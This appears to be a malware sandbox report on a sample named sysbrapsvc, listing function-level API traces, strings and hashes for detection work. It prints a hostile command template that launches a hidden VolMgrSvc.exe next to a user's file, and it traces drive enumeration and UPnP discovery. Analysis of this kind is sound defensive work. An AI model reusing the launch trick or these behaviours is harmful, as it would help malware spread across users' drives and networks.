Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: b5606582fcf9fad391a6fa346b47e70fe2b71523f8a0056a0553dfb9fae7cb88
Instruction ID: 8a187a806069c9ef74607f7bf39df95f2c1829c28a5b92bcc4b0b83bf30a7a56
Opcode Fuzzy Hash: b5606582fcf9fad391a6fa346b47e70fe2b71523f8a0056a0553dfb9fae7cb88
Instruction Fuzzy Hash: 16512DB1941228ABDB36CB50CC55BE9B3BCAB48705F1444E9F60DAA2C0D7B96BC4CF54

Function 00406B50 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00406B5E
GetModuleFileNameW.KERNEL32(00000000,0041A428,00000104), ref: 00406B70

Part of subcall function 0040EC20: CreateFileW.KERNEL32(00406B80,80000000,00000001,00000000,00000003,00000000,00000000,00406B80), ref: 0040EC40
Part of subcall function 0040EC20: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040EC55
Part of subcall function 0040EC20: CloseHandle.KERNEL32(000000FF), ref: 0040EC62

ExitThread.KERNEL32 ref: 00406CDA

Part of subcall function 00406340: GetLogicalDrives.KERNEL32 ref: 00406346
Part of subcall function 00406340: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
Part of subcall function 00406340: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
Part of subcall function 00406340: RegCloseKey.ADVAPI32(?), ref: 004063DE

Sleep.KERNEL32(000007D0), ref: 00406CCD

Part of subcall function 00406260: lstrcpyW.KERNEL32(?,?), ref: 004062B3

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 00406C0F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00406C24
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 00406C3F
wsprintfW.USER32 ref: 00406C52
wsprintfW.USER32 ref: 00406C72
wsprintfW.USER32 ref: 00406C95

Strings

(%dGB), xrefs: 00406C46
%s%s, xrefs: 00406C89
Unnamed volume, xrefs: 00406C66

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 6d9c390415530bf0d7068dac02101ca91c021f24dc2fb290cfd9444ed22e654c
Instruction ID: 453264953970db4b87c24ab6cdbfc4a104d47f91dccd03b52bb95ce70ceb3e7a
Opcode Fuzzy Hash: 6d9c390415530bf0d7068dac02101ca91c021f24dc2fb290cfd9444ed22e654c
Instruction Fuzzy Hash: E041A9B1940218BBE714DB94DD55FEE7378BB48700F0081BAF20AB61D0DA785B94CF6A

Function 0040EC70 Relevance: 16.6, APIs: 11, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040ECA2
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040ECC3
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040ECE2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040ECFB
memcmp.NTDLL ref: 0040ED8D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040EDB0
CloseHandle.KERNEL32(00000000), ref: 0040EDBA
CloseHandle.KERNEL32(000000FF), ref: 0040EDC4
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EDE3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040EE08
CloseHandle.KERNEL32(000000FF), ref: 0040EE12

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID:
API String ID: 3902698870-0
Opcode ID: 643dd6457151afb767136b96de088e300be71ca2aa9c529637807d59cb8df3e5
Instruction ID: 32b63ebe374edb734f10ceafdcfe6a9e739b08b32ae31a868bafe8a6799fa03f
Opcode Fuzzy Hash: 643dd6457151afb767136b96de088e300be71ca2aa9c529637807d59cb8df3e5
Instruction Fuzzy Hash: 20514EB4E40209FBDB14DFA4CC49BDEB774AB48704F108569E611B72C0D7B9AA40CB98

Function 0040D780 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040D786
GetThreadPriority.KERNEL32(00000000,?,?,?,00407F75,?,000000FF), ref: 0040D78D
GetCurrentThread.KERNEL32 ref: 0040D798
SetThreadPriority.KERNEL32(00000000,?,?,?,00407F75,?,000000FF), ref: 0040D79F
InterlockedExchangeAdd.KERNEL32(00407F75,00000000), ref: 0040D7C2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040D7F7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040D842
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040D85E
Sleep.KERNEL32(00000001), ref: 0040D88E
GetCurrentThread.KERNEL32 ref: 0040D89D
SetThreadPriority.KERNEL32(00000000,?,?,?,00407F75), ref: 0040D8A4

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction ID: 6fb5641eb3e61aabfeb8d94b6f23565c140e371fca94fd76c4ad34d85bd1d77f
Opcode Fuzzy Hash: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction Fuzzy Hash: 32414C75E00209EBCB04EFE4D848BAEBB71EF44305F10C16AE916A7384D6789A85CF55

Function 0040EE30 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60sleepprocessCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040EE3E
memset.NTDLL ref: 0040EE4E
CreateProcessW.KERNEL32(00000000,00407896,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040EE87
Sleep.KERNEL32(000003E8), ref: 0040EE97
ShellExecuteW.SHELL32(00000000,open,00407896,00000000,00000000,00000000), ref: 0040EEB2
Sleep.KERNEL32(000003E8), ref: 0040EECC

Strings

D, xrefs: 0040EE56
open, xrefs: 0040EEAB
, xrefs: 0040EEC1

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: aaa8efd2447e76ebee4be6377d3fcdc8a7337733f8d70036db534e1e8db572fc
Instruction ID: ab95b539b52ee8c861e7b35bb7843e11e17158efae48c82db73052011d4181fd
Opcode Fuzzy Hash: aaa8efd2447e76ebee4be6377d3fcdc8a7337733f8d70036db534e1e8db572fc
Instruction Fuzzy Hash: F2113071A4430CBAEB10DB90DD46FDE7764AB14B00F104125FA057E2C0D6F5AA548759

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040D950: NtQuerySystemTime.NTDLL(0040B865), ref: 0040D95A
Part of subcall function 0040D950: RtlTimeToSecondsSince1980.NTDLL ref: 0040D968

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction ID: 68686fb6eff55c499ad5be399ae1fa7ea08460e57826cc3027d59358e60976cc
Opcode Fuzzy Hash: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction Fuzzy Hash: 34519E75608B02ABC704DF39D488B9BFBE4BF88314F44872EF89983360D775A5458B96

Function 0040DD40 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DD8E
Sleep.KERNEL32(000003E8), ref: 0040DD9E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DDBB
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DDD1
StrChrA.SHLWAPI(?,0000000D), ref: 0040DDFE

Strings

HTTP/1.1 200 OK, xrefs: 0040DDAF
LOCATION: , xrefs: 0040DDC5

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: eefe196d39f416e400a4d4ef2e05462a5a71bb0c03a382919cece79f19d7d758
Instruction ID: 7b96b2f8d6d36e055c6c7570a615b3eea8bd5cb55d36e980e60cabbeadb8daeb
Opcode Fuzzy Hash: eefe196d39f416e400a4d4ef2e05462a5a71bb0c03a382919cece79f19d7d758
Instruction Fuzzy Hash: 78216FB5940218ABDB20DB64DC49BE97774AF04308F1085E9E709BB2D0D6B95AC6CF9C

Function 0040EEE0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040EEF7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EF16
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040EF3F
InternetCloseHandle.WININET(00000000), ref: 0040EF68
InternetCloseHandle.WININET(00000000), ref: 0040EF72
Sleep.KERNEL32(000003E8), ref: 0040EF7D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040EEF2

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 2743515581-2272513262
Opcode ID: be2b98b0d1d94f3769b5301c8c7766c76a7eb5c2fd3991898107c864a0abb6dc
Instruction ID: 09246262baac8142bf73057cdf9805b9640511cbdee0a0d8a20d2e1b7007a2ac
Opcode Fuzzy Hash: be2b98b0d1d94f3769b5301c8c7766c76a7eb5c2fd3991898107c864a0abb6dc
Instruction Fuzzy Hash: 6A210A75A40309FBDB10DFA4CC49FEEB775AB08705F1085A9FA11AB2C0C7B96A44CB59

Function 0040B770 Relevance: 12.1, APIs: 8, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0041AE68,?,?,?,?,?,?,00407EF9), ref: 0040B77B
CreateFileW.KERNEL32(0041AC50,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B7CD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040B7EE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040B80D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040B822
UnmapViewOfFile.KERNEL32(00000000), ref: 0040B888
CloseHandle.KERNEL32(00000000), ref: 0040B892
CloseHandle.KERNEL32(000000FF), ref: 0040B89C

Part of subcall function 0040D950: NtQuerySystemTime.NTDLL(0040B865), ref: 0040D95A
Part of subcall function 0040D950: RtlTimeToSecondsSince1980.NTDLL ref: 0040D968

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID:
API String ID: 439099756-0
Opcode ID: c6295368b3329a36b4d5b539f0c7913c2e24e4bff1a22c952df061e282144c4a
Instruction ID: 479a2d3db74d12cc9ab5db8b9028aebaa0e2ca82416c5c7c2c0831f1d1863687
Opcode Fuzzy Hash: c6295368b3329a36b4d5b539f0c7913c2e24e4bff1a22c952df061e282144c4a
Instruction Fuzzy Hash: FB417C75E40309ABDB10EFA4CC4ABAEB774EB44704F20842AFA11B72D1C7B96541CB9D

Function 00405B60 Relevance: 12.1, APIs: 8, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0041A400,?,?,?,?,?,00407EC3), ref: 00405B6B
CreateFileW.KERNEL32(0041A630,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407EC3), ref: 00405B85
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405BA6
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405BC5
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405BDE
UnmapViewOfFile.KERNEL32(00000000), ref: 00405C6B
CloseHandle.KERNEL32(00000000), ref: 00405C75
CloseHandle.KERNEL32(000000FF), ref: 00405C7F

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: 284b283459330de0b1143f1684a29cd07a22339025804f57593563af66457d89
Instruction ID: 34cf97d68150feb52ab64e4c1d62c08212747bf40ca63f75f299d91bb9f0c47d
Opcode Fuzzy Hash: 284b283459330de0b1143f1684a29cd07a22339025804f57593563af66457d89
Instruction Fuzzy Hash: 5D313A74A40308EBEB10DBA4CD4ABAFB770EB44704F208529E601772D0D7B96A81CF99

Function 00406000 Relevance: 10.7, APIs: 7, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0041A400,00000000,0040BDA2,006A0266,?,0040BDBE,00000000,0040D09C,?), ref: 0040600F
memcpy.NTDLL(?,00000000,00000100), ref: 004060A1
CreateFileW.KERNEL32(0041A630,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004061C5
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00406227
FlushFileBuffers.KERNEL32(000000FF), ref: 00406233
CloseHandle.KERNEL32(000000FF), ref: 0040623D
LeaveCriticalSection.KERNEL32(0041A400,?,?,?,?,?,?,0040BDBE,00000000,0040D09C,?), ref: 00406248

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID:
API String ID: 1457358591-0
Opcode ID: 7d39a30a029986bca7bb4f0c5866fafd33a6f5de3b8d974b21aec683df7cdf74
Instruction ID: 2241f90cca7a27a2546e95c76b2552fd8efe4d50fa40d22b7b041634b3385480
Opcode Fuzzy Hash: 7d39a30a029986bca7bb4f0c5866fafd33a6f5de3b8d974b21aec683df7cdf74
Instruction Fuzzy Hash: 4271CFB4E002099BCB04CF94D985FEFB7B1AB48304F14857DE505BB382D779A951CBA6

Function 0040E6F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E7AC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E7FB
SysFreeString.OLEAUT32(00000000), ref: 0040E80F
SysFreeString.OLEAUT32(00000000), ref: 0040E827

Strings

device, xrefs: 0040E7A3
deviceType, xrefs: 0040E7B6

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 566d6412d8e9607f6d1003a374969e2899c9cbeba23211f1a4d6a59564ece201
Instruction ID: 7a529818069a58d4d2ae4584624926d6a8b7ee91a4ee1179ae14f9cec19009dd
Opcode Fuzzy Hash: 566d6412d8e9607f6d1003a374969e2899c9cbeba23211f1a4d6a59564ece201
Instruction Fuzzy Hash: FC412AB5A0020ADFCB04DF99C884BAFB7B9FF48304F108569E515A7390D778AE85CB94

Function 0040E590 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E64C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E69B
SysFreeString.OLEAUT32(00000000), ref: 0040E6AF
SysFreeString.OLEAUT32(00000000), ref: 0040E6C7

Strings

serviceType, xrefs: 0040E656
service, xrefs: 0040E643

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 4e76592112a6a420ff5714064f2ae1a029c18f39b0799c1555199cf660da6998
Instruction ID: 0dd75c4ae2219cb0414d4c222623d171442623ab9389109279868d9d6e555a3a
Opcode Fuzzy Hash: 4e76592112a6a420ff5714064f2ae1a029c18f39b0799c1555199cf660da6998
Instruction Fuzzy Hash: FA413C74A0020ADFCB04CF99D884BAFB7B5BF58304F508969E505A7390D779EA91CF94

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: f3ad203a95010958b8c1f3f107c3da268ef795d58a7c48103c0b3f0c6d45af56
Instruction ID: 37460acbf0a505b6a9388cec97320328f7083b01a8d1f88c89259c7d7d106706
Opcode Fuzzy Hash: f3ad203a95010958b8c1f3f107c3da268ef795d58a7c48103c0b3f0c6d45af56
Instruction Fuzzy Hash: A031E172200315ABC710AFB5ED8CAD7B7A8FF44324F04463EF58AD3280DB79A4449B99

Function 00406400 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040640B
CoCreateInstance.OLE32(00412920,00000000,00000001,00412900,?), ref: 00406423
wsprintfW.USER32 ref: 00406456

Strings

Gh@, xrefs: 00406472, 00406475
/c start %s & start %s\VolMgrSvc.exe, xrefs: 0040644A
%comspec%, xrefs: 0040645F

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %comspec%$/c start %s & start %s\VolMgrSvc.exe$Gh@
API String ID: 2038452267-1176807594
Opcode ID: 453316c8e6568e69a2546e2d17e52215310be9e24d50f63276e7ec173b6e4f87
Instruction ID: 2c6fb4a3d0a1bb960828f31a0de6db084021911c18f79e55e776afc792a10ffb
Opcode Fuzzy Hash: 453316c8e6568e69a2546e2d17e52215310be9e24d50f63276e7ec173b6e4f87
Instruction Fuzzy Hash: 1931C975A40208EFCB04DF98D885FDEB7B5EF88704F208199E519A73A5CB74AE81CB54

Function 0040E731 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E7AC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E7FB
SysFreeString.OLEAUT32(00000000), ref: 0040E80F
SysFreeString.OLEAUT32(00000000), ref: 0040E827

Strings

device, xrefs: 0040E7A3
deviceType, xrefs: 0040E7B6

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 438aa6f8a1e56f1ba1290af2e787a3c8fe9300d957a7e67b1fd036078c6987af
Instruction ID: 0e4cd8c02c4e5e279ec4fd0352b83bc081febda0d06dc7f405a75fcd32bf7d71
Opcode Fuzzy Hash: 438aa6f8a1e56f1ba1290af2e787a3c8fe9300d957a7e67b1fd036078c6987af
Instruction Fuzzy Hash: AF3109B1E0020ADFCB04DF99D884BAFB7B5EF88304F108569E514A7390D778AA85CB94

Function 0040E5D1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E64C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E69B
SysFreeString.OLEAUT32(00000000), ref: 0040E6AF
SysFreeString.OLEAUT32(00000000), ref: 0040E6C7

Strings

serviceType, xrefs: 0040E656
service, xrefs: 0040E643

Memory Dump Source

Source File: 00000004.00000002.1565192171.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1565173968.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1565225349.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: fc8eedfaf3eb06c849d6c627dcf627ee8089590ee6ebef9678790b2faf78124f
